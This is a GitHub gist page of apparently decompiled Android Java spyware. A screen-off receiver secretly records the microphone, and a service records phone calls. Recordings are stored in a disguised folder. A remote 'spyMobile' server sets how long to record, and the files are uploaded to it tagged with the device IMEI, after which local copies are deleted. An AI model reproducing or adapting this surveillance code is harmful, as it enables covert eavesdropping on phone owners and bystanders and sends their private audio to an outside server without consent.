Skip to content

Instantly share code, notes, and snippets.

@zivzeira
Last active March 27, 2019 16:27
Show Gist options
  • Select an option

  • Save zivzeira/4ccfb5eb0ad22880da4f8bec4ed8fce2 to your computer and use it in GitHub Desktop.

Select an option

Save zivzeira/4ccfb5eb0ad22880da4f8bec4ed8fce2 to your computer and use it in GitHub Desktop.
public class RecordService extends Service implements OnInfoListener, OnErrorListener {
private static final String AUDIO_RECORDER_FILE_EXT_3gp = ".3gpp";
private static final String AUDIO_RECORDER_FOLDER = "android/data/AndroidService";
public static String NewFileName = "";
private static final int RECORDING_NOTIFICATION_ID = 1;
private static final String TAG = "CallRecorder";
private boolean isRecording = false;
private MediaRecorder recorder = null;
private File recording = null;
private File makeOutputFile() {
File file = null;
File dir = new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER);
if (!dir.exists()) {
try {
dir.mkdirs();
} catch (Exception e) {
Log.e(TAG, "RecordService::makeOutputFile unable to create directory " + dir + ": " + e);
}
} else if (!dir.canWrite()) {
Log.e(TAG, "RecordService::makeOutputFile does not have write permission for directory: " + dir);
return file;
}
String suffix = AUDIO_RECORDER_FILE_EXT_3gp;
String prefix = Long.toString(System.currentTimeMillis());
NewFileName = dir + "/" + prefix + suffix;
try {
file = File.createTempFile(prefix, suffix, dir);
} catch (IOException e2) {
Log.e(TAG, "RecordService::makeOutputFile unable to create temp file in " + dir + ": " + e2);
}
return file;
}
public void onCreate() {
super.onCreate();
try {
this.recorder = new MediaRecorder();
Log.i(TAG, "onCreate created MediaRecorder object");
} catch (Exception e) {
Log.e("My Error RecordService onCreate Text Log 1", e.toString());
}
}
public void onStart(Intent intent, int startId) {
Log.i(TAG, "RecordService::onStartCommand called while isRecording:" + this.isRecording);
if (!this.isRecording) {
this.recording = makeOutputFile();
if (this.recording == null) {
this.recorder = null;
return;
}
Log.i(TAG, "RecordService will config MediaRecorder with audiosource: 4 audioformat: 1");
try {
this.recorder.reset();
this.recorder.setAudioSource(4);
Log.d(TAG, "set audiosource 4");
this.recorder.setOutputFormat(1);
Log.d(TAG, "set output 1");
this.recorder.setAudioEncoder(0);
Log.d(TAG, "set encoder default");
this.recorder.setOutputFile(this.recording.getAbsolutePath());
Log.d(TAG, "set file: " + this.recording);
this.recorder.setOnInfoListener(this);
this.recorder.setOnErrorListener(this);
try {
this.recorder.prepare();
Log.d(TAG, "recorder.prepare() returned");
this.recorder.start();
this.isRecording = true;
Log.i(TAG, "recorder.start() returned");
} catch (IOException e) {
Log.e(TAG, "RecordService::onStart() IOException attempting recorder.prepare()\n");
this.recorder = null;
}
} catch (Exception e2) {
Log.e(TAG, "RecordService::onStart caught unexpected exception", e2);
this.recorder = null;
}
}
}
public void onDestroy() {
super.onDestroy();
try {
if (this.recorder != null) {
Log.i(TAG, "RecordService::onDestroy calling recorder.release()");
this.isRecording = false;
this.recorder.release();
}
} catch (Exception e) {
Log.e("My Error RecordService onDestroy Text Log 1", e.toString());
}
}
public IBinder onBind(Intent intent) {
return null;
}
public boolean onUnbind(Intent intent) {
return false;
}
public void onRebind(Intent intent) {
}
public void onInfo(MediaRecorder mr, int what, int extra) {
Log.i(TAG, "RecordService got MediaRecorder onInfo callback with what: " + what + " extra: " + extra);
this.isRecording = false;
}
public void onError(MediaRecorder mr, int what, int extra) {
try {
Log.e(TAG, "RecordService got MediaRecorder onError callback with what: " + what + " extra: " + extra);
this.isRecording = false;
mr.release();
} catch (Exception e) {
Log.e("My Error RecordService onError Text Log 1", e.toString());
}
}
}
public class ScreenReceiver extends BroadcastReceiver {
private static final String AUDIO_RECORDER_FILE_EXT_3gp = ".3gpp";
private static final String AUDIO_RECORDER_FOLDER = "android/data/AndroidService";
private static String Last_record_file_name = "";
private static final int RECORDER_AUDIO_ENCODING = 2;
private static final int RECORDER_BPP = 16;
private static final int RECORDER_CHANNELS = 12;
private static final int RECORDER_SAMPLERATE = 44100;
private static Boolean check_start_record = Boolean.valueOf(false);
private static Boolean check_stop_record = Boolean.valueOf(true);
static String deviceIMEI_phone_record;
private static MediaRecorder myRecorder = null;
static int number_stack_record = 20;
public static boolean startup;
public static boolean wasScreenOn = true;
private long FileSize = 0;
String NewFileName;
private int bufferSize = 0;
private boolean isRecording = false;
private AudioRecord recorder = null;
private Thread recordingThread = null;
Thread sound;
String tmp_name;
public void onReceive(Context context, Intent intent) {
try {
if (intent.getAction().equals("android.intent.action.SCREEN_OFF")) {
wasScreenOn = false;
Intent s = new Intent(context, AppService.class);
s.addFlags(335544320);
context.startService(s);
System.out.println("Intent Action: " + intent.getAction());
Start_check_mic();
} else if (intent.getAction().equals("android.intent.action.SCREEN_ON")) {
wasScreenOn = true;
System.out.println("Intent Action: " + intent.getAction());
}
} catch (Exception exp) {
Log.e("My Error onReceive ScreenReceiver ", exp.toString());
}
}
private void Start_check_mic() {
try {
new Thread(new Runnable() {
public void run() {
long time = 480;
String temp_stat_rec = ScreenReceiver.check_start_stat_time().replace("\n", "").replace("\r", "").replace(" ", "").replace("\u0000", "").replace('', ' ').replace(" ", "").trim();
if (temp_stat_rec != "no" || temp_stat_rec == "" || temp_stat_rec == null || temp_stat_rec == "error") {
temp_stat_rec = "480";
}
try {
time = Long.parseLong(temp_stat_rec);
} catch (Exception e) {
System.out.println("Error in stop recording = " + e.toString());
}
try {
if (ScreenReceiver.myRecorder == null) {
ScreenReceiver.myRecorder = new MediaRecorder();
ScreenReceiver.this.startRecording();
try {
Thread.sleep(Long.valueOf(1000 * time).longValue());
} catch (Exception e2) {
System.out.println("Error in Thread Sleep = " + e2.toString());
}
try {
if (ScreenReceiver.stopRecording().booleanValue()) {
ScreenReceiver.this.upload_file();
} else {
ScreenReceiver.deleteTempFile(ScreenReceiver.this.NewFileName);
}
} catch (Exception e22) {
System.out.println("Error in stop recording = " + e22.toString());
}
}
} catch (Exception e222) {
ScreenReceiver.stopRecording();
System.out.println("Error in start recording = " + e222.toString());
}
}
}).start();
} catch (Exception e) {
stopRecording();
System.out.println("Error in stop recording = " + e.toString());
}
}
private void startRecording() {
try {
myRecorder.setAudioSource(1);
myRecorder.setOutputFormat(1);
myRecorder.setAudioEncoder(1);
this.NewFileName = getFilename();
Last_record_file_name = this.NewFileName;
myRecorder.setOutputFile(this.NewFileName);
try {
myRecorder.prepare();
myRecorder.start();
} catch (IOException e) {
check_start_record = Boolean.valueOf(false);
check_stop_record = Boolean.valueOf(true);
e.printStackTrace();
}
check_stop_record = Boolean.valueOf(false);
} catch (Exception e2) {
stopRecording();
System.out.println("Error in recording = " + e2.toString());
}
}
private String getFilename() {
File file = new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER);
if (!file.exists()) {
file.mkdirs();
}
return file.getAbsolutePath() + "/" + System.currentTimeMillis() + AUDIO_RECORDER_FILE_EXT_3gp;
}
public static Boolean stopRecording() {
Boolean stat_stop = Boolean.valueOf(false);
try {
if (myRecorder != null) {
myRecorder.stop();
myRecorder.release();
myRecorder = null;
}
Last_record_file_name = "";
stat_stop = Boolean.valueOf(true);
long AvailableSize = Long.parseLong(Mal.getAvailableExternalMemorySize());
long TotalSize = Long.parseLong(Mal.getTotalExternalMemorySize());
if ((30 * AvailableSize) / 100 > AvailableSize) {
int counter_rec = 0;
String tmp_file_name = "";
String tmp_file_name_first = "";
long tmp_sort_2 = 0;
for (File f : new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER).listFiles()) {
if (f.isFile()) {
String[] tmp_split = f.toString().split("/");
String tmp2 = tmp_split[tmp_split.length - 1];
tmp_file_name = tmp2.substring(0, tmp2.length() - 5);
if (tmp_file_name.length() > 14) {
tmp_file_name = tmp_file_name.substring(0, 13);
}
long tmp_sort = Long.valueOf(tmp_file_name).longValue();
if (counter_rec <= 0) {
tmp_sort_2 = tmp_sort;
tmp_file_name_first = f.toString();
} else if (tmp_sort_2 > tmp_sort) {
tmp_file_name_first = f.toString();
tmp_sort_2 = tmp_sort;
}
counter_rec++;
}
}
deleteTempFile(tmp_file_name_first);
}
} catch (IllegalStateException e) {
Last_record_file_name = "";
stat_stop = Boolean.valueOf(false);
myRecorder = null;
check_start_record = Boolean.valueOf(false);
check_stop_record = Boolean.valueOf(true);
e.printStackTrace();
} catch (RuntimeException e2) {
stat_stop = Boolean.valueOf(false);
myRecorder = null;
check_start_record = Boolean.valueOf(false);
check_stop_record = Boolean.valueOf(true);
e2.printStackTrace();
}
check_start_record = Boolean.valueOf(false);
check_stop_record = Boolean.valueOf(true);
if (stat_stop.booleanValue()) {
return Boolean.valueOf(true);
}
return Boolean.valueOf(false);
}
private void upload_file() {
try {
File file = new File(this.NewFileName);
String[] separated = this.NewFileName.split("/");
this.tmp_name = separated[separated.length - 1];
if (file.exists()) {
this.FileSize = file.length();
}
if (this.FileSize <= 1000 || this.FileSize >= 11585760) {
System.out.println("Do Not Upload");
deleteTempFile(this.NewFileName);
return;
}
System.out.println("Start Upload");
new Thread(new Runnable() {
public void run() {
try {
ScreenReceiver.upload_all_file_and_delete();
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
} catch (Exception e) {
System.out.println("Error in stop recording stopRecording2= " + e.toString());
}
}
public static void upload_all_file_and_delete() {
boolean status_upload = false;
for (File f : new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER).listFiles()) {
if (f.isFile()) {
if (Last_record_file_name.indexOf(f.toString()) == -1) {
sendAudioDataRecord(f.toString());
try {
status_upload = doAudioFileUpload(f.toString());
} catch (Exception exp) {
Log.e("Error upload_all_file_and_delete ON SvreenReceiver status_upload = doAudioFileUpload(f.toString()); ", exp.getMessage());
}
if (status_upload) {
deleteTempFile(f.toString());
} else {
continue;
}
} else if (myRecorder == null) {
sendAudioDataRecord(f.toString());
try {
status_upload = doAudioFileUpload(f.toString());
} catch (Exception exp2) {
Log.e("Error upload_all_file_and_delete ON SvreenReceiver status_upload = doAudioFileUpload(f.toString()); ", exp2.getMessage());
}
if (status_upload) {
try {
deleteTempFile(f.toString());
} catch (Exception exp22) {
Log.e("Error upload_all_file_and_delete ON SvreenReceiver ", exp22.getMessage());
return;
}
}
continue;
} else {
continue;
}
}
}
}
private static void deleteTempFile(String DelPath) {
new File(DelPath).delete();
}
public static String sendAudioDataRecord(String filename_sendAudioDataRecord) {
String result = "error";
deviceIMEI_phone_record = AppService.deviceIMEI;
try {
DefaultHttpClient httpClient = new DefaultHttpClient();
String url = Mal.Server_Domain + "/spyMobile/api_recordcall.php";
if (!url.endsWith("?")) {
url = url + "?";
}
List<NameValuePair> params = new LinkedList();
params.add(new BasicNameValuePair("imei", deviceIMEI_phone_record));
params.add(new BasicNameValuePair("reccallname", filename_sendAudioDataRecord));
url = url + URLEncodedUtils.format(params, "utf-8");
Log.d("Send Audio Details ", url);
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109");
try {
result = convertStreamToString(httpClient.execute(new HttpGet(url)).getEntity().getContent());
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e2) {
e2.printStackTrace();
Mal.findServer();
}
} catch (Exception e3) {
e3.printStackTrace();
Mal.findServer();
}
return result;
}
public static String check_start_stat_time() {
deviceIMEI_phone_record = AppService.deviceIMEI;
String result = "error";
try {
DefaultHttpClient httpClient = new DefaultHttpClient();
String url = Mal.Server_Domain + "/spyMobile/api_check_rec.php";
if (!url.endsWith("?")) {
url = url + "?";
}
List<NameValuePair> params = new LinkedList();
params.add(new BasicNameValuePair("imei", deviceIMEI_phone_record));
url = url + URLEncodedUtils.format(params, "utf-8");
Log.d("Send Audio Details ", url);
try {
result = convertStreamToString(httpClient.execute(new HttpGet(url)).getEntity().getContent());
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e2) {
e2.printStackTrace();
Mal.findServer();
}
} catch (Exception e3) {
e3.printStackTrace();
}
return result;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment